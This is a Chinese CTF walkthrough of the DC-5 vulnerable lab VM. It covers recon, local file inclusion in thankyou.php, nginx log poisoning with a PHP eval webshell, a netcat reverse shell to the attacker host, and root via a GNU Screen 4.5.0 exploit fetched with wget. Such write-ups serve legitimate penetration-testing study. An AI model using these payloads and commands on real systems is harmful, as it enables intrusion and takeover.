简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-5(包含1个flag)
下载地址:
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
| |
导入成功,开启此虚拟机( 当页面出现 DC-5 login 时表示安装成功)。
3、获取靶机的flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 | 2、DC-5和kali在同一网段 | 已知DC-5所在的网段 —— DC-5 IP地址:192.168.108.135/24 |
3.1信息收集
获取DC-5的IP地址
命令:netdiscover -r 192.168.108.129/24
由图可知DC-5的IP地址是:192.168.108.135/24
端口扫描
命令:nmap -sV -p- 192.168.108.135
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 | 服务 | 版本 |
80 | http | nginx 1.6.2 |
111 | rpcbind | 2-4 |
40547 | status | 1 |
3.2 渗透测试
查看一下80端口的http,并且对其进行CMS识别
发现这是一个类似于博客或者是公司简介一类的网站,依旧是没有识别到CMS
但是我们在最后一个页面 Contact 上看到了留言板,尝试xss之后发现并无回显的地方,使用burp抓包看看吧
使用burp抓包查看,发现是get的传参方式
直接使用sqlmap无法注入
sqlmap -u "http://192.168.108.135/thankyou.php?firstname=admin&lastname=admin&country=australia&subject=admin"
进行目录描扫,看看能不能拿到后台登陆的地址(实用工具dirb):dirb http://dc-5
由于发现使用dirb工具探测的不够全,使用dirsearch工具重新扫描一下
dirsearch -u "http://dc-5"
可以看到这里出现了三个php文件(index.php、thankyou.php、footer.php)
最后还是在留言板提交之后的页面发现了问题(在每此刷新此页面之后页面下方的时间都会发生变化)
|
|
同时,在php文件中发现了footer.php文件也是刷新就会变换时间,推测八成是thankyou.php对footer.php文件进行了文件包含
|
|
直接修改文件包含的路径进行尝试(参数改为 file=文件路径)
http://dc-5/thankyou.php?file=../../../../../../../../../../../../../etc/passwd
读取Nginx的错误日志文件(nginx 1.6.2 版本 的日志的地址 /var/log/nginx/error.log)
http://dc-5/thankyou.php?file=../../../../var/log/nginx/error.log
为了方便观察,直接ctrl+u
本来想看看这里会不会记录 agent、cookie,结果没有,但是访问的文件路径被记录了,那尝试挂个一句话木马使用蚁剑连接
尝试挂马(<?php @eval($_POST['webshell']);?>)
传参URL:http://dc-5/thankyou.php?file=<?php @eval($_POST["webshell"]); ?>
日志URL:http://dc-5/thankyou.php?file=../../../../var/log/nginx/error.log
可以看到是被加载进去了
使用蚁剑连接
http://192.168.108.136/thankyou.php?file=var/log/nginx/error.log
可能会不成功,尝试了几次的一句话木马注入才连接成功(因为中途靶机崩了,重新导入后IP地址发生了变化)
反弹shell
nc -e /bin/sh 192.168.108.129 6868
老套路了,改善一下shell交互的环境
python -c "import pty;pty.spawn('/bin/bash')"
继续收集信息
linux 3.16.0 Debian 3.16.51
查看能否进行suid提权的时候发现了一个有版本好的程序
find / -perm -4000 2>/dev/null #寻找有SUID权限(4000)的文件,不显示其他的错误信息相当于过滤。
使用 searchsploit(kali自带的漏洞库)搜索 screen 4.5.0 的相关信息
使用 searchsploit -x linux/local/41154.sh 查看第一个 ,根据步骤制作文件
GNU Screen 4.5.0 - Local Privilege Escalation - Linux local Exploit # 41154.sh 脚本文件内容
第三个文件的作用是用来执行前两个文件的,三个文件的执行顺序:dc-5 ——> libhax ——> rootshell
将做好的文件放在桌面,可以直接拖出来之后通过蚁剑上传至 DC-5 靶机
这里发现文件居然都无法上传,直接通过下载放在靶机里面(发现基本上都没有权限,只有在 /tmp/ 目录下写入成功了)
- 在dc5目录下开启9999端口:python2 -m SimpleHTTPServer 9999
- 靶机切换到/tmp目录,wget 172.20.10.3:5566/xxxx,下载这三个文件
- wget 192.168.108.129:9999/dc5.sh
- wget 192.168.108.129:9999/libhax.so
- wget 192.168.108.129:9999/rootshell
提权
执行 dc5.sh 文件进行提权,
在 /root/ 目录下发现了flag